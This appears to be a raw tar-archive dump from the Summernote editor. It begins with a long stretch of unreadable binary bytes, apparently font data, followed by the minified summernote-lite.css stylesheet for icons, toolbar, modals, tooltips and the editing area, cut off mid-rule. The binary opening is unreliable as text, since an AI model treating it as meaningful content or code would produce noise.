��`'o�B��Y\�ʽ$�����%��!���4��2-��Z��r7��	�W�G�0l&�+�,;�UOu5R�y�aN;E���Tbʽ^{� �s��o*���]"�'��P�ȫ�0oJ�W^<�i�ӌ��i���N���[+�P��\}��~y���uy��Ӊ���'�5�B�%��޿y�EZ4��п�:�]h���\� �T*�Tu��~��jU	�F�}�n�)gb+C�j���?��#�4�y����q<��n���3�P^bDX��hw���XT<��~o6�����RZ>���a	�N���bm=�.�0�z�����^�Q�zw����k�f2�E"�].�׋K;9�Ve�z�H%�ki��,R
dS ��\COMcU����óYl2�P�N�I��
x�D�'y�<�!�V8�N�Ձ`s�c�X�����]�	����S�K�Q��}Em) �EL�Ö5n"�_X�����:�6|�,���:�cX�~���-��<�ȝg���LΪC��� ��m"�P˼^Ðu����s����ںFp����K��?N�!�
�7�$���#س\�҈oz��9Ő�@���������-�&���1}�$�W픦�)sU�5y+�����T,�mRC��3�u�2.��2-��Xij��!ʣ�4�Oб�J���QB��D�:Sք�<�DI�4o�6&�Ub�R�m�;�H|�Z��T5A���ކƼR�i�:��@3sN����
��L��(��d�N�l��W	�`Ԕ�n�i[��[��j#k��r�YM�g�t��w1�u�Tɞx�� =2-�d*f��͍��t7�o�6�3���fzƬ��#��0fQn��;���-^�M�}��I���4l9ۢ���[.�}U���czF���(��.0w�%�K�r�L���{��n�"�IZ�c�ӵ�mv��h�����|�c\�nigJ�A` ��Q+`QM�w�,��?yř:�C��o%7�L��c�ϻy�����J$�V�@�.4���F$�WP����t��5�P�\^��cs��t�ݤ��L1:���#��s�>wǼX�$w�H��σ$�6��v{P��הs�l_*�w��q~�QXd1���Ϩ�qd1�Ɓm���̒_E	��_$~�н��q�H���nH�#7Q���$�	ђ~�@��y�Ňv�;��Y"~��'o��h1~w;a��_Dx�"�?�E��/�(��#��ԥ��u��rS�E�_DHo���|"1�����u5׵�dv_e�3����dBc����=.�r����>@�]��J2 q�4L�*K&��"��8���&1j<�G���q���8��h�U}-��gցN�'Ga���u�ι�ޫhQ����ɼ4�S��Xd헔�Z�\�:�D�/x�]u(�U��t���su�����Eh�Z��P��C�Up;���47�@ڬ?�'襯@C��G�{�%�X]�FV���@:�W�F7Y��0Qke[��8�L�R����E��A*}h#���y¤���k$�y����<������D���N'{c��>==T)p� Wؒ��§8��rQk����a@͍2�r
���`5��������Ѓ�KВ�\��zr�zн���/�QSM�̹m�Gg}E�{m�9R+����UA��?��+�����)�gg��*,-�"����3���N���ԬoLK1�kGm����{��rL�N� �y�9��69����a�}�;����
��@�͵����!q�.A�Alss2��}zCU.땕 �fJ}#���	���Xe�<�-"�5r�H����`��b^������<d���E�oi ����E
�Qa8��l:FF��H���|��X��^�
g#>t��~��E>��*�v�6	���a�j�
�Š�VS�a�K�g�&�����T�d���XԌ��'z#��e��
Pv��:�e"���G�
E{�5��ү�+������m�4Z>YI\��e9���
�r���
ŁP%�	�{փ��a���.�2z�Pz�3^]d0#�]Ο��G���7.�Hpƈ}��6t��*'��'�"���Y�=�����j�q�H����/�֪;y�G�6:������EZ�w�����ח�ďE��lT}�2��I(r�Cɰ��\[+��2
)r?�\���]*�[��k�4U.QO����(�FO�y,�M���[d�0����J*����w�jLe��f�Op���	
��X��b����k���ҷ��x#�N}��ε�>�kfTG�S<�GBf�8%6�m����԰���6�P@/��~�@:H�#�Ѯ�#��f;!<]�D�%~a���C�q�݆
�כ��U9[:U-��x	���ԽܖBԯ��E����Б�7[��H-���C� �oJ���]Uf�2��Z��X�>�g�J�!o�����rc����NȬ�yy�����(h�3���[ɖ�Uh
w�c�k�W�@�>�^��s����
4�z������ʮ��y���J(��k+~�\Ck�K��Z3�W��?�św��^_�W�%pϟ�_PG�9��9[)�z�
��JI���ÑT�n��D�p-FZ?#���/ �g��(���m�����֐t�߻�X�a�a��?����`�?_OSܷN�&+Ͼ���Ѻ8@��~OB�E/�%�m&=~��d���;x��^�}�.�`��ߍ��v�;/���Zw�P�8�lg�O(vD�܁�Ð|�Qg•�Ut��!R`�l�5��8�hѣ�u�.�8��ű�Y4�o��դ����[a�}}�qއ�5��WF—Qs��	�o�I��,����T��M�E4��cG���6I�^=��n���	�h����"�S���	��s����ѣӔG�v���ۭG�����)W���I��۫'�܂N��_�ҹ��w�>9#����b��{�r�
�U'�v�}�I��*?ȥ�w�|p�y��.@��I�[:�J�b*_��i-=z�}�,����$}�4tc�{彛�rr�G���,#6aB�`�^�f�u�C��-�k�?�j�O�\ݛ(�Uz��E��
m��V�)�qǻ���-�/��:��}�
vS�
�!W�����*;�(���Sl�Jl���@m���T�v^�m��>���F�E�Z�s<�\:ަ�!�Pڅ���x픢�rB;�Q��׮����o]"����^9�O�]��5G��.�(w��;�*�c���i�G%D��Ř��{W����q6��=�)}ŀ����nj�y��e�]��y ^9��JiJd��n��׮��eOP"G77=�D%�>JLQ�!v[Tkk(Q��ۤ)�:.P"�2f�ҏ�P�RYd�@@"�R�!M)��RCP@�j�aLHuC���0Բr�a�
jYp/+��e����T(���<nx�'72d���B�
Y����V��|3L-v�{�t�v{�,��s�9	�dȂ��J�kwJ���=z�^��H/U��rP�W��[%
�)���Q��"�L�pxr[0�P)~��T�O�fIWYі
T��(|U�Gn)_z���ڜ�o=�y��fѦ�=Qj}𧺰�$��x��D܊�C9��cݚU%��5}�i�$�H���t��8?X�~0<l�~�W���\Q��2�|�e�w
����}��s���ۼ{87��7��N�����I�R���o��7͍)��'b��7�lKϴO熷���ٞq�ٖ���t��=�6&g9L�L
o�t�~I	}��]��Is��r�թƇ��ўpw���&���5ʃ)͍��XgU�Ɋx۳-=�E[��)H����3.=��+��'܆)=�)LG=���Q�H��g��gv��k=P{̐+�O�SԟM��DT�ܗ�}�<T��Ag����N*�Sn�arC��
����`�Nr/�M(��%���68�� �|?؆��f������T�q�!��vm�����ˆR�;�����zP�{�=Rm���1�P
��1�l��tv��!�63��'��u`��V���w�~vTZ�Tj�ڂzn׹5���Tn���{�y��3��q�e��$ڸ=�0�?P�+�I�OX��A{�t����L��h\�&U9�S��
��%��9LȄ^x�u�W���PV��~�(:Ɨ����Q]��h�E���h���,����M�2m@��OUX���it�q��sBn�zP��y�Q1�*O�yCI��5��%�mx`;#�xl-�9hΫ襔-�c�pͺLjB�\�X�iY˱V��j�5�
w��#��c��kB�]-]��Z�f{�Z̛s9ּ�=ּ	�XsD�c͞�k���7gv�{���ƺCʫ��:��b�q9VI'r�؏�(7���s�S|6T��ʼnu~�[��7
��
iD�8,�>
��ʐ��4��X�,{�q���q��|W�(g�g9�l����r�ΫP`T�JWB{ɍ頳�Axj�&6'��rq���؝��؜���	$/�gi��%�[PΐO�ų�xC:�1�u��©\�N�t�۫P�ð\�7�)�M��*
�#��>�h��G�n�5\��O+1���n|.iJ�Q��(4(���Bk���x�{�Qi�\ޯz����#�-�n���uj�S���r��n+/%*p��9B���l�A�:�"?��e�lp6��O7��=��}���*�<Uw��UQLGw�Ai������*5�Z_O����S^n8�}��V��C3���Be:��G����"��^z�S����z����\C��4�"Q�].�z2f��\}�z�@��*)?>
�D/x�yqn�
	��X.�O�N�@��"~׳|/6�}�&�Vڀ )�V��H�
$��ֵ��[��.�s�勫�M��o� iϫ��G�k�GX�	~K��B�;����Ő�A����fo�mi9?��n��l�y���g,L�XF�x�Y��t�������̽ɗ�>� 7W~�i�/O}�5W��=f]9�� �2^����6h7HʄЈz�
�
^	�/B�\@wv����^��)x��֡}��T o�C�ȋ؈oy@�?�x�(�|{*��(Qod*~�~o��W�kB�E�AE���/�	�CR�q��@�����6PM~3i	
�?��9>��і�F���!\^���ӂ�����i��KIyE4X�}���1����pj�>�fA�,�G�%�0��i}�E,J5:1n�fOW�hs]�s��ٮ5T�����[��3Nʧg"��#sy�5۴�\^e�ʧ�g��_�J��Q%7z���.�؝��Cx�'O���%���7\7H/c]Y(��ؕ���ŗ���R��	~���y��N�R*绅���\K��2S8#�a��ZT�q�\+�ԋ�+\�/=z~�K]���4�7�gDŽ�f
C�}��I��$��g>C�*���M������h�B�O8�=�B��"�S�+�����Y�;c(~�H
-J��Y��b�)��^D�/c��O�2 #ڇ"?�U��[_"���q�V�L�V�lR�	9�E�BmPP��݋ޢ�#\�*��<&Q
���":y�u
����;�އ��}�%��W�8��1��䰋>,�ɰ���t�iظ����K(��Q&����Dx�G��e�}���|�ɜ2�s�T@��>N�2}��l�I�B�@k��\�j⤩�o��<�r<�+�zkq�t$5�eC�ji�ԁKl�^�1\(騎�3R�8�Y}!��JX$�:ӆ*��P�a�f�2��{ngN�\�|��̀�)X$#����X� Ґ)L�FQ�U.�O'�i\�y�M��㓨��~�����܏E?>�����no������n��t���߉�|�
���1�P,�/��hzs�Q�/��-�Xri]��aQ�U��ܵR�r���
�1٦���Y»q�p%��凙�*Q�
�E�s�I�]��&pf?n4�w�V(�m
�Ϻ��ʿj�Q��Iϥč��b�G悤� �"�Zs���?;�06�b*�E�+�N&�l�C�F��
A8����x13�.K�YY<1����e��O�h���MF�_�e<*�c_�S��Ȫ�U��F�j�������:$|�B�ڗ���L��ɪ��2�)d�ʅ|pEeu�0E�6V~�l���C�Z������j2��� �c4�O�4�;w��9M�� ^�l>:l��7_Q|�ܖ���o��Vpx�1#�~E�C��t�5���0¼	21�L�0/�Ե���M?�3n�m8#M��$B�[J��D�~�)B�f���N�r'���/�/�
i�pᦡ+�a��Γ�9�Ji\W󐈣�~$�8h�L�F۪�r�K�ޢh6z��E ��);a��
��	�4	Ӈ���~�B���!ה���Lj�����I��\�}�k�Q�˜7?� �!��[ז��*x�Y�z=��������*�O=&c����Ќ=G�*p����5�����mK:�%<�t��y���D~൦2�!1g�89o*�!|��*���>ƥ�{�������f$�~��~���™5u�O0��t�)b�A[,��e�&9|~����=�I���K,���L5uP;�e����[ƫ%2�@e=�V[�E
֑=2���f�@�Vv�ȄyjQ�O�4��e�;�4r�s����bDHV{.R|��S��!��?�@<90��[O�%g$L�iH\"j���TӬ��b�RD�[�'?� �&.�n��Q�܅�U�<�y"�oYjF
������p6z�~��a��W=��Be.�QW�6wBny8}�7;ó���r���(*�@��d�����mv�m���q~D�p��X9�f'L�fgz6;���Ȏ�gxjz�:���}y+s~#6n&m���U~�5��ւ���
�^�w�h�M��3�9��b���y�%�UV�\���P+���1���a���ن���Ue�|mV���0�Ϧ�3 �/%�%b»H�0v�h��]��������%��`���<
�Â��Zn3��y��y�Q2�/�_]'Rʂh���4����Z�q���G�d�:�q4�fq[�݋o�k󳻳�Ş�E�YQ�8-�i��촍��-���2��:nv��ൔ-�r��wpDg��Qq曆7�t5m�P�k���:�(kJnm��l�`?��S��ĭ
��#G���{�>6�u�d�L�s+�n�8�~UQ+jö0�S�1���&��c8����P�0�b2o��3���i�}AGc�("�"s�Sx_o?��b��D�ǖ�2CZ��!�Z}��{(������m��|K/��4�(���l�+>�	����ά�]�zlƮKج�{�q�9
���F�aH�F	�U�0O�5IRC�]�6�x*�TӚy��Π$o:}�����o��1b7ԗ�M��AM ������r����4��I�jp/��m2l�kop�^L�oE��!-���)dq>�e`;��K��R��|�q�[�lĆ�ۋ�|e&e1���.	�b�G����5~���5rZ���&���[J٩�B.t<�5���� �ן����Ø�\(��N����<�4�3�_�ZD�����<�P��Ю����KNq�IF�aK�5
���8�y���r�khQ���͇5�b_Դ�3/��M&ԅy1���!��JCS��x+��?�U����͂4�
[�է���ci�W�w(�A�Q2�u�~b'�9�[
�<~�&w7;;�C��Ec/�{����9�]��D���Ulq�p�zԌ����AjW�;ufz:�:��������A��i�c�˺u㼩E�ӝ�{�E�݂26�{�I��FpP��xO������+�yӶ���8F�U�։��#�����緤凲G?��7Z��_fd�O`F&~N���`s�,R.�,k���Ghu6�ZN�W�D�os(c�V?�/3��Fr��"Z��ZV4�P��R�Q��:���e�6���}�����kG#dlk#n��8E�(ʸFm�嘂���s���,�����:OB�ye���x���$U��j�$�6���c�85�#��0�R�
�v��G��X�*
���<��о�	�
���\-������=�5���>�=Z���$��ā;�����=�;����2��ߠ�� �6Vt1iF�>7a��h�
�I�w�T. KQ�f�3�K�%����o4U��jy��@ȫȯ4�r��An����bJ�p��S/z�"���QɭT�Ǫ*_,c�{��w�������z�8b/���|�����'�&t0���V��-)ۮn�=5��1Z�t�k#����c�\��F��弅kX��e[����>4U$�����>&*y�N�i;���Ű�y��ӏ��dC��B��U����|�8((��+����]A�sD8��|Kh�e��E��_��`=m�ܾ��Gj=�{f7G��Gg d��4u�6
ֵ)��_��|�Z�#dȩ�lf-�����2,�қ��|�a��H�o
I�X]�=D��+e7�(e��B�Zr�|����a���,c�p�d�9�(a��*0)2���͸lDV� nP-+�2
�cB�ULq.
��q���g��pmpH5��0[�&"D�h&ڊ^�r��F�.�a�9G���WE�:�(:)��� �খ��?OU����
o���鲉-$[���*|=���?�������5~"�&?�Y] M�4��[��t�0\�XS������)���.x��
$$���w5��_�����Eށ�h��Q/!969J�7ŝ2W��5%�rP�'��@B�Ym~�����%|�^"�{e�2�#ZY�Ry�����+�D��Q���O�y�D��a?���n#��G�S\KO]�����g	�<�{z�ٱp��$��r
l"ÆE,d��eA��5?���1��lW���=��u+�}���0v?y��էtx�t�������� ��x:����`��j-�^ɐ✺�+%r0(��WzϺ�a
�+7Rk:���8����0��x�cb```b`�``b�� Ϡ��@�%B��/����*�3��_����`����/3D����?�8������g`��v�����B�$vx�c```d���|�ז���c�	summernote-lite.css000064400000065443151677331550010440 0ustar00@font-face{font-family:"summernote";font-style:normal;font-weight:normal;src:url("./font/summernote.eot?dbafe969167589eda84514394d126413");src:url("./font/summernote.eot?#iefix") format("embedded-opentype"),url("./font/summernote.woff?dbafe969167589eda84514394d126413") format("woff"),url("./font/summernote.ttf?dbafe969167589eda84514394d126413") format("truetype")}[class^="note-icon-"]:before,[class*=" note-icon-"]:before{display:inline-block;font:normal normal normal 14px summernote;font-size:inherit;-webkit-font-smoothing:antialiased;text-decoration:inherit;text-rendering:auto;text-transform:none;vertical-align:middle;speak:none;-moz-osx-font-smoothing:grayscale}.note-icon-align-center:before,.note-icon-align-indent:before,.note-icon-align-justify:before,.note-icon-align-left:before,.note-icon-align-outdent:before,.note-icon-align-right:before,.note-icon-align:before,.note-icon-arrow-circle-down:before,.note-icon-arrow-circle-left:before,.note-icon-arrow-circle-right:before,.note-icon-arrow-circle-up:before,.note-icon-arrows-alt:before,.note-icon-arrows-h:before,.note-icon-arrows-v:before,.note-icon-bold:before,.note-icon-caret:before,.note-icon-chain-broken:before,.note-icon-circle:before,.note-icon-close:before,.note-icon-code:before,.note-icon-col-after:before,.note-icon-col-before:before,.note-icon-col-remove:before,.note-icon-eraser:before,.note-icon-font:before,.note-icon-frame:before,.note-icon-italic:before,.note-icon-link:before,.note-icon-magic:before,.note-icon-menu-check:before,.note-icon-minus:before,.note-icon-orderedlist:before,.note-icon-pencil:before,.note-icon-picture:before,.note-icon-question:before,.note-icon-redo:before,.note-icon-row-above:before,.note-icon-row-below:before,.note-icon-row-remove:before,.note-icon-special-character:before,.note-icon-square:before,.note-icon-strikethrough:before,.note-icon-subscript:before,.note-icon-summernote:before,.note-icon-superscript:before,.note-icon-table:before,.note-icon-text-height:before,.note-icon-trash:before,.note-icon-underline:before,.note-icon-undo:before,.note-icon-unorderedlist:before,.note-icon-video:before{display:inline-block;font-family:"summernote";font-style:normal;font-weight:normal;text-decoration:inherit}.note-icon-align-center:before{content:"\f101"}.note-icon-align-indent:before{content:"\f102"}.note-icon-align-justify:before{content:"\f103"}.note-icon-align-left:before{content:"\f104"}.note-icon-align-outdent:before{content:"\f105"}.note-icon-align-right:before{content:"\f106"}.note-icon-align:before{content:"\f107"}.note-icon-arrow-circle-down:before{content:"\f108"}.note-icon-arrow-circle-left:before{content:"\f109"}.note-icon-arrow-circle-right:before{content:"\f10a"}.note-icon-arrow-circle-up:before{content:"\f10b"}.note-icon-arrows-alt:before{content:"\f10c"}.note-icon-arrows-h:before{content:"\f10d"}.note-icon-arrows-v:before{content:"\f10e"}.note-icon-bold:before{content:"\f10f"}.note-icon-caret:before{content:"\f110"}.note-icon-chain-broken:before{content:"\f111"}.note-icon-circle:before{content:"\f112"}.note-icon-close:before{content:"\f113"}.note-icon-code:before{content:"\f114"}.note-icon-col-after:before{content:"\f115"}.note-icon-col-before:before{content:"\f116"}.note-icon-col-remove:before{content:"\f117"}.note-icon-eraser:before{content:"\f118"}.note-icon-font:before{content:"\f119"}.note-icon-frame:before{content:"\f11a"}.note-icon-italic:before{content:"\f11b"}.note-icon-link:before{content:"\f11c"}.note-icon-magic:before{content:"\f11d"}.note-icon-menu-check:before{content:"\f11e"}.note-icon-minus:before{content:"\f11f"}.note-icon-orderedlist:before{content:"\f120"}.note-icon-pencil:before{content:"\f121"}.note-icon-picture:before{content:"\f122"}.note-icon-question:before{content:"\f123"}.note-icon-redo:before{content:"\f124"}.note-icon-row-above:before{content:"\f125"}.note-icon-row-below:before{content:"\f126"}.note-icon-row-remove:before{content:"\f127"}.note-icon-special-character:before{content:"\f128"}.note-icon-square:before{content:"\f129"}.note-icon-strikethrough:before{content:"\f12a"}.note-icon-subscript:before{content:"\f12b"}.note-icon-summernote:before{content:"\f12c"}.note-icon-superscript:before{content:"\f12d"}.note-icon-table:before{content:"\f12e"}.note-icon-text-height:before{content:"\f12f"}.note-icon-trash:before{content:"\f130"}.note-icon-underline:before{content:"\f131"}.note-icon-undo:before{content:"\f132"}.note-icon-unorderedlist:before{content:"\f133"}.note-icon-video:before{content:"\f134"}.note-frame *{color:#000;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box}p{margin:0 0 10px}kbd{padding:3px 5px;font-weight:700;color:#fff;background-color:#000;border-radius:2px;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;box-sizing:border-box}.note-toolbar{padding:10px 5px;border-bottom:1px solid #e2e2e2}.note-btn-group{position:relative;display:inline-block;margin-right:8px}.note-btn-group>.note-btn-group{margin-right:0}.note-btn-group>.note-btn,.note-btn-group>.note-btn-group{margin-left:-4px;border-radius:0}.note-btn-group>.note-btn.focus,.note-btn-group>.note-btn-group.focus,.note-btn-group>.note-btn.active,.note-btn-group>.note-btn-group.active{border-radius:0}.note-btn-group>.note-btn:first-child,.note-btn-group>.note-btn-group:first-child{margin-left:0;border-bottom-left-radius:1px;border-top-left-radius:1px}.note-btn-group>.note-btn:first-child.focus,.note-btn-group>.note-btn-group:first-child.focus,.note-btn-group>.note-btn:first-child.active,.note-btn-group>.note-btn-group:first-child.active{border-bottom-left-radius:1px;border-top-left-radius:1px}.note-btn-group>.note-btn:last-child:not(.note-dropdown),.note-btn-group>.note-btn-group:last-child:not(.note-dropdown){border-top-right-radius:1px;border-bottom-right-radius:1px}.note-btn-group>.note-btn:last-child:not(.note-dropdown).focus,.note-btn-group>.note-btn-group:last-child:not(.note-dropdown).focus,.note-btn-group>.note-btn:last-child:not(.note-dropdown).active,.note-btn-group>.note-btn-group:last-child:not(.note-dropdown).active{border-top-right-radius:1px;border-bottom-right-radius:1px}.note-btn-group.open>.note-dropdown{display:block}.note-btn{display:inline-block;padding:5px 10px;margin-bottom:0;font-size:14px;font-weight:400;line-height:1.4;color:#333;text-align:center;white-space:nowrap;vertical-align:middle;cursor:pointer;background-color:#fff;background-image:none;border:1px solid #fff;border-color:#fff;border-radius:1px;outline:0;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;touch-action:manipulation}.note-btn:focus,.note-btn.focus{color:#333;background-color:#ebebeb;border-color:#fff}.note-btn:hover{color:#333;background-color:#ebebeb;border-color:#fff}.note-btn.disabled:focus,.note-btn[disabled]:focus,fieldset[disabled] .note-btn:focus,.note-btn.disabled.focus,.note-btn[disabled].focus,fieldset[disabled] .note-btn.focus{background-color:#fff;border-color:#fff}.note-btn:hover,.note-btn:focus,.note-btn.focus{color:#333;text-decoration:none;background-color:#ebebeb;border:1px solid #fff;-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px;outline:0}.note-btn:active,.note-btn.active{background-image:none;outline:0}.note-btn.disabled,.note-btn[disabled],fieldset[disabled] .note-btn{cursor:not-allowed;-webkit-opacity:.65;-khtml-opacity:.65;-moz-opacity:.65;opacity:.65;-ms-filter:alpha(opacity=65);filter:alpha(opacity=65);-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.note-btn-primary{color:#fff;background:#fa6362}.note-btn-primary:hover,.note-btn-primary:focus,.note-btn-primary.focus{color:#fff;text-decoration:none;background-color:#fa6362;border:1px solid #fff;-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px}.note-btn-block{display:block;width:100%}.note-btn-block+.note-btn-block{margin-top:5px}input[type="submit"].note-btn-block,input[type="reset"].note-btn-block,input[type="button"].note-btn-block{width:100%}button.close{padding:0;cursor:pointer;background:transparent;border:0;-webkit-appearance:none}.close{float:right;font-size:21px;line-height:1;color:#000;opacity:.2}.close:hover{-webkit-opacity:1;-khtml-opacity:1;-moz-opacity:1;opacity:1;-ms-filter:alpha(opacity=100);filter:alpha(opacity=100)}.note-dropdown{position:relative}.note-dropdown-menu{position:absolute;top:100%;left:0;z-index:1000;display:none;float:left;min-width:100px;padding:5px;text-align:left;background:#fff;border:1px solid #e2e2e2;-webkit-box-shadow:0 1px 1px rgba(0,0,0,0.06);-moz-box-shadow:0 1px 1px rgba(0,0,0,0.06);box-shadow:0 1px 1px rgba(0,0,0,0.06);background-clip:padding-box}.note-btn-group.open .note-dropdown-menu{display:block}.note-dropdown-item{display:block}.note-dropdown-item:hover{background-color:#ebebeb}a.note-dropdown-item,a.note-dropdown-item:hover{margin:2px 0;color:#000;text-decoration:none}.note-modal{position:absolute;top:0;right:0;bottom:0;left:0;z-index:1050;display:none;overflow:hidden;-webkit-opacity:1;-khtml-opacity:1;-moz-opacity:1;opacity:1;-ms-filter:alpha(opacity=100);filter:alpha(opacity=100)}.note-modal.open{display:block}.note-modal-content{position:relative;width:auto;margin:30px 20px;background:#fff;border:1px solid rgba(0,0,0,0.2);outline:0;background-clip:border-box}.note-modal-header{padding:30px 20px 20px 20px;border:1px solid #ededef}.note-modal-header .close{margin-top:-10px}.note-modal-body{position:relative;padding:20px 30px}.note-modal-footer{height:40px;padding:10px;text-align:center}.note-modal-footer a{color:#337ab7;text-decoration:none}.note-modal-footer a:hover,.note-modal-footer a:focus{color:#23527c;text-decoration:underline}.note-modal-footer .note-btn{float:right}.note-modal-title{margin:0;font-size:26px;line-height:1.4;color:#42515f}.note-modal-backdrop{position:absolute;top:0;right:0;bottom:0;left:0;z-index:1040;display:none;background:#000;-webkit-opacity:.5;-khtml-opacity:.5;-moz-opacity:.5;opacity:.5;-ms-filter:alpha(opacity=50);filter:alpha(opacity=50)}.note-modal-backdrop.open{display:block}@media(min-width:768px){.note-modal-content{width:600px;margin:30px auto}}@media(min-width:992px){.note-modal-content-large{width:900px}}.note-form-group{padding-bottom:20px}.note-form-group:last-child{padding-bottom:0}.note-form-label{display:block;margin-bottom:10px;font-size:16px;font-weight:700;color:#42515f}.note-input{display:block;width:100%;padding:6px 4px;font-size:14px;background:#fff;border:1px solid #ededef;outline:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;box-sizing:border-box}.note-input::-webkit-input-placeholder{color:#eee}.note-input:-moz-placeholder{color:#eee}.note-input::-moz-placeholder{color:#eee}.note-input:-ms-input-placeholder{color:#eee}.note-tooltip{position:absolute;z-index:1070;display:block;font-size:13px;-webkit-opacity:0;-khtml-opacity:0;-moz-opacity:0;opacity:0;-ms-filter:alpha(opacity=0);filter:alpha(opacity=0)}.note-tooltip.in{-webkit-opacity:.9;-khtml-opacity:.9;-moz-opacity:.9;opacity:.9;-ms-filter:alpha(opacity=90);filter:alpha(opacity=90)}.note-tooltip.top{padding:5px 0;margin-top:-3px}.note-tooltip.right{padding:0 5px;margin-left:3px}.note-tooltip.bottom{padding:5px 0;margin-top:3px}.note-tooltip.left{padding:0 5px;margin-left:-3px}.note-tooltip.bottom .note-tooltip-arrow{top:0;left:50%;margin-left:-5px;border-bottom-color:#000;border-width:0 5px 5px}.note-tooltip.top .note-tooltip-arrow{bottom:0;left:50%;margin-left:-5px;border-top-color:#000;border-width:5px 5px 0}.note-tooltip.right .note-tooltip-arrow{top:50%;left:0;margin-top:-5px;border-right-color:#000;border-width:5px 5px 5px 0}.note-tooltip.left .note-tooltip-arrow{top:50%;right:0;margin-top:-5px;border-left-color:#000;border-width:5px 0 5px 5px}.note-tooltip-arrow{position:absolute;width:0;height:0;border-color:transparent;border-style:solid}.note-tooltip-content{max-width:200px;padding:3px 8px;color:#fff;text-align:center;background-color:#000}.note-popover{position:absolute;z-index:1060;display:block;display:none;font-size:13px;background:#fff;border:1px solid rgba(0,0,0,0.2);border:1px solid #ccc}.note-popover.in{display:block}.note-popover.top{padding:5 0;margin-top:-3px}.note-popover.right{padding:0 5;margin-left:3px}.note-popover.bottom{padding:5 0;margin-top:3px}.note-popover.left{padding:0 5;margin-left:-3px}.note-popover.bottom .note-popover-arrow{top:-11px;left:50%;margin-left:-10px;border-bottom-color:#999;border-bottom-color:rgba(0,0,0,0.25);border-top-width:0}.note-popover.bottom .note-popover-arrow::after{top:1px;margin-left:-10px;border-bottom-color:#fff;border-top-width:0;content:" "}.note-popover.top .note-popover-arrow{bottom:-11px;left:50%;margin-left:-10px;border-top-color:#999;border-top-color:rgba(0,0,0,0.25);border-bottom-width:0}.note-popover.top .note-popover-arrow::after{bottom:1px;margin-left:-10px;border-top-color:#fff;border-bottom-width:0;content:" "}.note-popover.right .note-popover-arrow{top:50%;left:-11px;margin-top:-10px;border-right-color:#999;border-right-color:rgba(0,0,0,0.25);border-left-width:0}.note-popover.right .note-popover-arrow::after{left:1px;margin-top:-10px;border-right-color:#fff;border-left-width:0;content:" "}.note-popover.left .note-popover-arrow{top:50%;right:-11px;margin-top:-10px;border-left-color:#999;border-left-color:rgba(0,0,0,0.25);border-right-width:0}.note-popover.left .note-popover-arrow::after{right:1px;margin-top:-10px;border-left-color:#fff;border-right-width:0;content:" "}.note-popover-arrow{position:absolute;width:0;height:0;border:11px solid transparent}.note-popover-arrow::after{position:absolute;display:block;width:0;height:0;border-color:transparent;border-style:solid;border-width:10px;content:" "}.note-popover-content{min-width:100px;min-height:30px;padding:3px 8px;color:#000;text-align:center;background-color:#fff}.note-editor{position:relative}.note-editor .note-dropzone{position:absolute;z-index:100;display:none;color:#87cefa;background-color:#fff;opacity:.95;pointer-event:none}.note-editor .note-dropzone .note-dropzone-message{display:table-cell;font-size:28px;font-weight:700;text-align:center;vertical-align:middle}.note-editor .note-dropzone.hover{color:#098ddf}.note-editor.dragover .note-dropzone{display:table}.note-editor .note-editing-area{position:relative}.note-editor .note-editing-area p{margin:0 0 10px}.note-editor .note-editing-area .note-editable{outline:0}.note-editor .note-editing-area .note-editable table{width:100%;border-collapse:collapse}.note-editor .note-editing-area .note-editable table td,.note-editor .note-editing-area .note-editable table th{padding:5px 3px;border:1px solid #ececec}.note-editor .note-editing-area .note-editable sup{vertical-align:super}.note-editor .note-editing-area .note-editable sub{vertical-align:sub}.note-editor .note-editing-area .note-editable a{font-family:inherit;font-weight:inherit;color:#337ab7;text-decoration:inherit;background-color:inherit}.note-editor .note-editing-area .note-editable a:hover,.note-editor .note-editing-area .note-editable a:focus{color:#23527c;text-decoration:underline;outline:0}.note-editor .note-editing-area .note-editable figure{margin:0}.note-editor.note-frame{border:1px solid #a9a9a9}.note-editor.note-frame.codeview .note-editing-area .note-editable{display:none}.note-editor.note-frame.codeview .note-editing-area .note-codable{display:block}.note-editor.note-frame .note-editing-area{overflow:hidden}.note-editor.note-frame .note-editing-area .note-editable{padding:10px;overflow:auto;color:#000;word-wrap:break-word;background-color:#fff}.note-editor.note-frame .note-editing-area .note-editable[contenteditable="false"]{background-color:#e5e5e5}.note-editor.note-frame .note-editing-area .note-codable{display:none;width:100%;padding:10px;margin-bottom:0;font-family:Menlo,Monaco,monospace,sans-serif;font-size:14px;color:#ccc;background-color:#222;border:0;-webkit-border-radius:0;-moz-border-radius:0;border-radius:0;box-shadow:none;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;box-sizing:border-box;resize:none}.note-editor.note-frame.fullscreen{position:fixed;top:0;left:0;z-index:1050;width:100%!important}.note-editor.note-frame.fullscreen .note-editable{background-color:#fff}.note-editor.note-frame.fullscreen .note-resizebar{display:none}.note-editor.note-frame .note-status-output{display:block;width:100%;height:20px;margin-bottom:0;font-size:14px;line-height:1.42857143;color:#000;border:0;border-top:1px solid #e2e2e2}.note-editor.note-frame .note-status-output:empty{height:0;border-top:0 solid transparent}.note-editor.note-frame .note-status-output .pull-right{float:right!important}.note-editor.note-frame .note-status-output .text-muted{color:#777}.note-editor.note-frame .note-status-output .text-primary{color:#286090}.note-editor.note-frame .note-status-output .text-success{color:#3c763d}.note-editor.note-frame .note-status-output .text-info{color:#31708f}.note-editor.note-frame .note-status-output .text-warning{color:#8a6d3b}.note-editor.note-frame .note-status-output .text-danger{color:#a94442}.note-editor.note-frame .note-status-output .alert{padding:7px 10px 2px 10px;margin:-7px 0 0 0;color:#000;background-color:#f5f5f5;border-radius:0}.note-editor.note-frame .note-status-output .alert .note-icon{margin-right:5px}.note-editor.note-frame .note-status-output .alert-success{color:#3c763d!important;background-color:#dff0d8!important}.note-editor.note-frame .note-status-output .alert-info{color:#31708f!important;background-color:#d9edf7!important}.note-editor.note-frame .note-status-output .alert-warning{color:#8a6d3b!important;background-color:#fcf8e3!important}.note-editor.note-frame .note-status-output .alert-danger{color:#a94442!important;background-color:#f2dede!important}.note-editor.note-frame .note-statusbar{background-color:#f5f5f5;border-top:1px solid 